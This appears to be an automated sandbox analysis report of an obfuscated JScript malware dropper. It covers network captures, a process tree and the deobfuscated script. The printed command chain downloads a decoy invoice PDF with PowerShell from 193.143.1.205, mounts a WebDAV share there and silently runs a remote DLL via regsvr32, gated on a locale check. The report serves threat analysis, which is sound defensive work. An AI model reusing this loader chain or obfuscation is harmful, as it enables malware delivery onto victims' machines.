Jan 10, 2025 19:44:00.885462046 CET	1.1.1.1	192.168.2.7	0xd3b6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:44:01.603441000 CET	1.1.1.1	192.168.2.7	0x8ac2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	5736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:43:50.189344883 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:43:51.006745100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:43:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:43:51.006772041 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:43:51.006784916 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:43:51.006797075 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:43:51.006809950 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 19:43:51.006820917 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 19:43:51.006834030 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 19:43:51.006846905 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 19:43:51.006860971 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 19:43:51.006871939 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 10, 2025 19:43:51.011699915 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	193.143.1.205	8888	968	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:43:53.192456961 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:43:54.011339903 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:43:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:43:45
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js"
Imagebase:	0x7ff6ee7c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:43:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll
Imagebase:	0x7ff743ca0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:43:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:43:46
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:43:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:43:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff743ca0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:43:52
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	true
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x390000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:43:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:43:53
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:43:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1672,i,5285183132479127642,2424678846282902053,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ncyknxce() {	ncyknxce() ➔ undefined
1	bgbudyxws = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hjpof = this[rtrtcgp + dwiocww + nbalmjoh + bhmgho + cyilkeqy + jpohsw + qaphv + tbenaj] ( this[pqnpnwxe + sfjvf + wrldsl + nbalmjoh + qbcbnrcuf + rtrtcgp + tbenaj][ovgnbgb + nbalmjoh + cyilkeqy + dwiocww + tbenaj + cyilkeqy + wclspxi + jfvjrvur + kqelou + cyilkeqy + wrldsl + tbenaj] ( pqnpnwxe + sfjvf + wrldsl + nbalmjoh + qbcbnrcuf + rtrtcgp + tbenaj + vaxswkdl + sfjvf + mtsmxt + cyilkeqy + wpqozhu + wpqozhu ) [zodzg + cyilkeqy + hvyenwljk + zodzg + cyilkeqy + dwiocww + usouglhy] ( lamekv + gmnshoz + lhhahhd + epqmmsnm + eqfzt + ovgnbgb + jvmme + zodzg + zodzg + lhhahhd + pjsnyt + hosuvpnyg + eqfzt + jvmme + sfjvf + lhhahhd + zodzg + xfnjdzl + ovgnbgb + gpyhexbjo + qaphv + tbenaj + nbalmjoh + gpyhexbjo + wpqozhu + jwxise + nowktxml + dwiocww + qaphv + cyilkeqy + wpqozhu + xfnjdzl + jpohsw + qaphv + tbenaj + cyilkeqy + nbalmjoh + qaphv + dwiocww + tbenaj + qbcbnrcuf + gpyhexbjo + qaphv + dwiocww + wpqozhu + xfnjdzl + fmekhwoi + gpyhexbjo + wrldsl + dwiocww + wpqozhu + cyilkeqy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nppzhqfs = 0 ; nppzhqfs < bgbudyxws[wpqozhu + cyilkeqy + qaphv + hvyenwljk + tbenaj + mtsmxt] ; ++ nppzhqfs )
4	{
5	if ( hjpof == bgbudyxws[nppzhqfs] )
6	{
7	hjpof = true;
8	break ;
9	}
10	}
11	if ( hjpof !== true )
12	this[pqnpnwxe + sfjvf + wrldsl + nbalmjoh + qbcbnrcuf + rtrtcgp + tbenaj][ekphjda + iijwne + qbcbnrcuf + tbenaj] ( );
13	this[pqnpnwxe + sfjvf + wrldsl + nbalmjoh + qbcbnrcuf + rtrtcgp + tbenaj][ovgnbgb + nbalmjoh + cyilkeqy + dwiocww + tbenaj + cyilkeqy + wclspxi + jfvjrvur + kqelou + cyilkeqy + wrldsl + tbenaj] ( pqnpnwxe + sfjvf + wrldsl + nbalmjoh + qbcbnrcuf + rtrtcgp + tbenaj + vaxswkdl + sfjvf + mtsmxt + cyilkeqy + wpqozhu + wpqozhu ) [nbalmjoh + iijwne + qaphv] ( wrldsl + ijtajc + usouglhy + jwxise + acddsy + wrldsl + jwxise + rtrtcgp + gpyhexbjo + nereoyci + cyilkeqy + nbalmjoh + bhmgho + mtsmxt + cyilkeqy + wpqozhu + wpqozhu + vaxswkdl + cyilkeqy + pkhkfre + cyilkeqy + jwxise + hrnwnbe + ovgnbgb + gpyhexbjo + ijtajc + ijtajc + dwiocww + qaphv + usouglhy + jwxise + snnnzjpmg + jpohsw + qaphv + dqvdy + gpyhexbjo + eqhvah + cyilkeqy + hrnwnbe + pqnpnwxe + cyilkeqy + jfvjrvur + zodzg + cyilkeqy + obftkuvms + iijwne + cyilkeqy + bhmgho + tbenaj + jwxise + hrnwnbe + wclspxi + iijwne + tbenaj + vrpmhyyyn + qbcbnrcuf + wpqozhu + cyilkeqy + jwxise + rvwhyri + tbenaj + cyilkeqy + ijtajc + rtrtcgp + rvwhyri + xfnjdzl + qbcbnrcuf + qaphv + dqvdy + gpyhexbjo + qbcbnrcuf + wrldsl + cyilkeqy + vaxswkdl + rtrtcgp + usouglhy + qyslbh + jwxise + mtsmxt + tbenaj + tbenaj + rtrtcgp + ymdxnxmu + acddsy + acddsy + qceuumq + gnxip + abcglce + vaxswkdl + qceuumq + qfrdt + abcglce + vaxswkdl + qceuumq + vaxswkdl + iiastljmw + izzawfqsa + blputuah + acddsy + qbcbnrcuf + qaphv + dqvdy + gpyhexbjo + qbcbnrcuf + wrldsl + cyilkeqy + vaxswkdl + rtrtcgp + mtsmxt + rtrtcgp + snnnzjpmg + dwzmwfaht + dwzmwfaht + bhmgho + tbenaj + dwiocww + nbalmjoh + tbenaj + jwxise + rvwhyri + tbenaj + cyilkeqy + ijtajc + rtrtcgp + rvwhyri + xfnjdzl + qbcbnrcuf + qaphv + dqvdy + gpyhexbjo + qbcbnrcuf + wrldsl + cyilkeqy + vaxswkdl + rtrtcgp + usouglhy + qyslbh + dwzmwfaht + dwzmwfaht + wrldsl + ijtajc + usouglhy + jwxise + acddsy + wrldsl + jwxise + qaphv + cyilkeqy + tbenaj + jwxise + iijwne + bhmgho + cyilkeqy + jwxise + xfnjdzl + xfnjdzl + qceuumq + gnxip + abcglce + vaxswkdl + qceuumq + qfrdt + abcglce + vaxswkdl + qceuumq + vaxswkdl + iiastljmw + izzawfqsa + blputuah + tpgzhakxy + qfxozbf + qfxozbf + qfxozbf + qfxozbf + xfnjdzl + usouglhy + dwiocww + dqvdy + nereoyci + nereoyci + nereoyci + nbalmjoh + gpyhexbjo + gpyhexbjo + tbenaj + xfnjdzl + dwzmwfaht + dwzmwfaht + wrldsl + ijtajc + usouglhy + jwxise + acddsy + wrldsl + jwxise + nbalmjoh + cyilkeqy + hvyenwljk + bhmgho + dqvdy + nbalmjoh + abcglce + iiastljmw + jwxise + acddsy + bhmgho + jwxise + xfnjdzl + xfnjdzl + qceuumq + gnxip + abcglce + vaxswkdl + qceuumq + qfrdt + abcglce + vaxswkdl + qceuumq + vaxswkdl + iiastljmw + izzawfqsa + blputuah + tpgzhakxy + qfxozbf + qfxozbf + qfxozbf + qfxozbf + xfnjdzl + usouglhy + dwiocww + dqvdy + nereoyci + nereoyci + nereoyci + nbalmjoh + gpyhexbjo + gpyhexbjo + tbenaj + xfnjdzl + qceuumq + blputuah + huhlvfdoi + qceuumq + abcglce + qceuumq + izzawfqsa + izzawfqsa + jfosls + iiastljmw + qceuumq + abcglce + qfxozbf + qfrdt + blputuah + vaxswkdl + usouglhy + wpqozhu + wpqozhu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll",0,false) ➔ 0
14	}
15	gnxip = "o";
16	gnxip = "Q";
17	gnxip = "L";
18	gnxip = "q";
19	gnxip = "G";
20	gnxip = "f";
21	gnxip = "h";
22	gnxip = "C";
23	gnxip = "H";
24	gnxip = "Y";
25	gnxip = "A";
26	gnxip = "i";
27	gnxip = "I";
28	gnxip = "z";
29	gnxip = "g";
30	gnxip = "c";
31	gnxip = "y";
32	gnxip = "W";
33	gnxip = "E";
34	gnxip = "J";
35	gnxip = "W";
36	gnxip = "e";
37	gnxip = "U";
38	gnxip = "P";
39	gnxip = "l";
40	gnxip = "k";
41	gnxip = "r";
42	gnxip = "g";
43	gnxip = "O";
44	gnxip = "O";
45	gnxip = "y";
46	gnxip = "d";
47	gnxip = "F";
48	gnxip = "k";
49	gnxip = "s";
50	gnxip = "9";
51	iijwne = "s";
52	iijwne = "D";
53	iijwne = "u";
54	iijwne = "T";
55	iijwne = "G";
56	iijwne = "I";
57	iijwne = "s";
58	iijwne = "Q";
59	iijwne = "M";
60	iijwne = "O";
61	iijwne = "S";
62	iijwne = "i";
63	iijwne = "H";
64	iijwne = "E";
65	iijwne = "c";
66	iijwne = "d";
67	iijwne = "B";
68	iijwne = "k";
69	iijwne = "T";
70	iijwne = "J";
71	iijwne = "Z";
72	iijwne = "H";
73	iijwne = "X";
74	iijwne = "K";
75	iijwne = "I";
76	iijwne = "O";
77	iijwne = "q";
78	iijwne = "L";
79	iijwne = "X";
80	iijwne = "X";
81	iijwne = "x";
82	iijwne = "t";
83	iijwne = "q";
84	iijwne = "Q";
85	iijwne = "R";
86	iijwne = "s";
87	iijwne = "u";
88	qbcbnrcuf = "k";
89	qbcbnrcuf = "W";
90	qbcbnrcuf = "l";
91	qbcbnrcuf = "E";
92	qbcbnrcuf = "m";
93	qbcbnrcuf = "B";
94	qbcbnrcuf = "w";
95	qbcbnrcuf = "i";
96	nereoyci = "I";
97	nereoyci = "o";
98	nereoyci = "x";
99	nereoyci = "w";
100	nereoyci = "M";
101	nereoyci = "K";
102	nereoyci = "D";
103	nereoyci = "e";
104	nereoyci = "b";
105	nereoyci = "J";
106	nereoyci = "d";
107	nereoyci = "H";
108	nereoyci = "J";
109	nereoyci = "F";
110	nereoyci = "j";
111	nereoyci = "L";
112	nereoyci = "z";
113	nereoyci = "s";
114	nereoyci = "L";
115	nereoyci = "x";
116	nereoyci = "D";
117	nereoyci = "c";
118	nereoyci = "T";
119	nereoyci = "m";
120	nereoyci = "u";
121	nereoyci = "A";
122	nereoyci = "K";
123	nereoyci = "U";
124	nereoyci = "e";
125	nereoyci = "O";
126	nereoyci = "i";
127	nereoyci = "a";
128	nereoyci = "G";
129	nereoyci = "C";
130	nereoyci = "O";
131	nereoyci = "A";
132	nereoyci = "X";
133	nereoyci = "U";
134	nereoyci = "O";
135	nereoyci = "V";
136	nereoyci = "w";
137	gpyhexbjo = "U";
138	gpyhexbjo = "k";
139	gpyhexbjo = "X";
140	gpyhexbjo = "i";
141	gpyhexbjo = "R";
142	gpyhexbjo = "Q";
143	gpyhexbjo = "N";
144	gpyhexbjo = "P";
145	gpyhexbjo = "P";
146	gpyhexbjo = "Q";
147	gpyhexbjo = "r";
148	gpyhexbjo = "Q";
149	gpyhexbjo = "j";
150	gpyhexbjo = "C";
151	gpyhexbjo = "C";
152	gpyhexbjo = "o";
153	izzawfqsa = "M";
154	izzawfqsa = "g";
155	izzawfqsa = "g";
156	izzawfqsa = "D";
157	izzawfqsa = "C";
158	izzawfqsa = "V";
159	izzawfqsa = "T";
160	izzawfqsa = "M";
161	izzawfqsa = "u";
162	izzawfqsa = "j";
163	izzawfqsa = "P";
164	izzawfqsa = "n";
165	izzawfqsa = "K";
166	izzawfqsa = "d";
167	izzawfqsa = "w";
168	izzawfqsa = "D";
169	izzawfqsa = "b";
170	izzawfqsa = "t";
171	izzawfqsa = "K";
172	izzawfqsa = "i";
173	izzawfqsa = "C";
174	izzawfqsa = "V";
175	izzawfqsa = "K";
176	izzawfqsa = "P";
177	izzawfqsa = "R";
178	izzawfqsa = "v";
179	izzawfqsa = "O";
180	izzawfqsa = "b";
181	izzawfqsa = "e";
182	izzawfqsa = "v";
